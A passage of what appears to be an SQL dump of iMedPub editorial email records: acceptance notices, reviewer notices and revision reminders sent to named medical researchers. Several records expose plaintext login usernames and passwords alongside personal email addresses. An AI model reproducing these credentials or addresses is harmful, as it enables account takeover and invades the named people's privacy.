Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7132</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',7132,'2021-02-19',75),(2660,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7110</b><br />\r\n            <br />\r\n            Article Title: <b>The role of calcium in the pathophysiology of vertigo and its treatment with flunarizine</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Shengyuan Yu</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7110</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',7110,'2021-02-20',75),(2661,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7426</b><br />\r\n            <br />\r\n            Article Title: <b>Miglustat: A glycotransferase inhibitor for Covid-19 treatment.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tatlow</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dtatlow16@gmail.com',7426,'2021-02-20',48),(2662,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7110</b><br />\r\n            <br />\r\n            Article Title: <b>The role of calcium in the pathophysiology of vertigo and its treatment with flunarizine</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Yu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yusy1963@126.com',7110,'2021-02-22',75),(2663,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7426</b><br />\r\n            <br />\r\n            Article Title: <b>Miglustat: A glycotransferase inhibitor for Covid-19 treatment.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tatlow</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-18</b></p>\r\n            <p><span style=\"font-size: 10pt;\">Kindly go through the given link:&nbsp;</span><a href=\"https://eur01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.imedpub.com%2Fonlinepayment%2F&amp;data=01%7C01%7Caamilibari%40uqu.edu.sa%7Ca8562fd17241426fa51608d7de012e81%7C79a057fbb0d544dd8f900bf7151f5c3f%7C0&amp;sdata=GYG8LKVmd6ilD%2BuaYmAcSmvUPa5PDxThTY05OtwgrrM%3D&amp;reserved=0\" rel=\"noreferrer\" shape=\"rect\" target=\"_blank\" style=\"font-size: 10pt; box-sizing: border-box; border-color: rgb(238, 238, 238); color: rgb(0, 118, 198); text-decoration-line: none;\">https://www.imedpub.com/onlinepayment/</a></p>\r\n            <p><span style=\"font-size: 10pt;\">and pay the publication charges&nbsp;</span><span style=\"font-size: 10pt; box-sizing: border-box; border-color: rgb(238, 238, 238); font-weight: bolder;\">Euro 2519 only&nbsp;</span><span style=\"font-size: 10pt;\">and after the completion of payment please submit the payment receipt. During the payment please mention the Journal name,&nbsp;Article&nbsp;title and Invoice No.&nbsp;</span><span style=\"font-size: 10pt; box-sizing: border-box; border-color: rgb(238, 238, 238); font-weight: bolder;\">(1791-809X-15-810)</span><span style=\"font-size: 10pt;\">&nbsp;By the help of those details we track your payment easily.</span><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></p>\r\n            </td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dtatlow16@gmail.com',7426,'2021-02-23',48),(2669,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7493</b><br />\r\n            <br />\r\n            Article Title: <b>WILLINGNESS OF HEALTH CARE WORKERS TO RESPOND TO COVID-19 PANDEMIC IN PORT HARCOURT, NIGERIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Promise Ogolodom</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mpos2007@yahoo.com',7493,'2021-02-23',48),(2670,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7445</b><br />\r\n            <br />\r\n            Article Title: <b>A Review of Novel Coronavirus Infection: COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Singh</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drparaslrs@gmail.com',7445,'2021-02-23',48),(2671,'<p>Ref.:  Ms. No. : <b>ipaom-21-7030</b><br />\r\n<br />\r\nARTICLE TITLE: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Ilhan</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7030</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>gul</b><br />\r\npassword: <b>0Aq374SL</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','drgulilhan@hotmail.com',7030,'2021-02-24',85),(2674,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-02-25',85),(2675,'<p>Ref.:  Ms. No. : <b>ipaom-21-7030</b><br />\r\n<br />\r\nARTICLE TITLE: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Ilhan</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7030</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>gul</b><br />\r\npassword: <b>0Aq374SL</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','drgulilhan@hotmail.com',7030,'2021-02-25',85),(2676,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7519</b><br />\r\n            <br />\r\n            Article Title: <b>Comparison of the Analgesic effect of Intramuscular Pethidine and intramuscular morphine on an Orthopedic population in a Caribbean Territory</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ventour</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','daleventour@hotmail.com',7519,'2021-02-25',48),(2678,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-6741</b><br />\r\n            <br />\r\n            Article Title: <b>Single strand conformation polymorphism: Principle and Troubleshoots</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SHARMA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr.mona18sharma@gmail.com',6741,'2021-02-27',984),(2680,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7132</b><br />\r\n            <br />\r\n            Article Title: <b>Mild COVID-19 Infection in a Patient with Multiple Sclerosis, while taking Fingolimod: A case report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>fattahi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mrfatahi93@gmail.com',7132,'2021-02-27',75),(2684,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6800</b><br />\r\n            <br />\r\n            Article Title: <b>Was the Nobel Prize awarded mistakenly? Should the corpus callosotomy be considered &acirc;&euro;&oelig;split-brain surgery&acirc;&euro;?</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Enock Balthazar</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6800</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',6800,'2021-03-02',85),(2698,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6800</b><br />\r\n            <br />\r\n            Article Title: <b>Was the Nobel Prize awarded mistakenly? Should the corpus callosotomy be considered &acirc;&euro;&oelig;split-brain surgery&acirc;&euro;?</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-6800</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','thaslan@hotmail.com',6800,'2021-03-03',85),(2705,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7163</b><br />\r\n            <br />\r\n            Article Title: <b>Physical activity assessment in patients with multiple sclerosis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Artemij Dorokhov</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7163</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',7163,'2021-03-04',75),(2718,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6800</b><br />\r\n            <br />\r\n            Article Title: <b>Was the Nobel Prize awarded mistakenly? Should the corpus callosotomy be considered &acirc;&euro;&oelig;split-brain surgery&acirc;&euro;?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Balthazar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','edcbal17@gmail.com',6800,'2021-03-06',85),(2719,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6800</b><br />\r\n            <br />\r\n            Article Title: <b>Was the Nobel Prize awarded mistakenly? Should the corpus callosotomy be considered &acirc;&euro;&oelig;split-brain surgery&acirc;&euro;?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Balthazar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','edcbal17@gmail.com',6800,'2021-03-06',85),(2720,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-03-06',85),(2721,'<p>Ref.:  Ms. No. : <b>ipaom-21-7030</b><br />\r\n<br />\r\nARTICLE TITLE: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Ilhan</b>,<br />\r\n<br 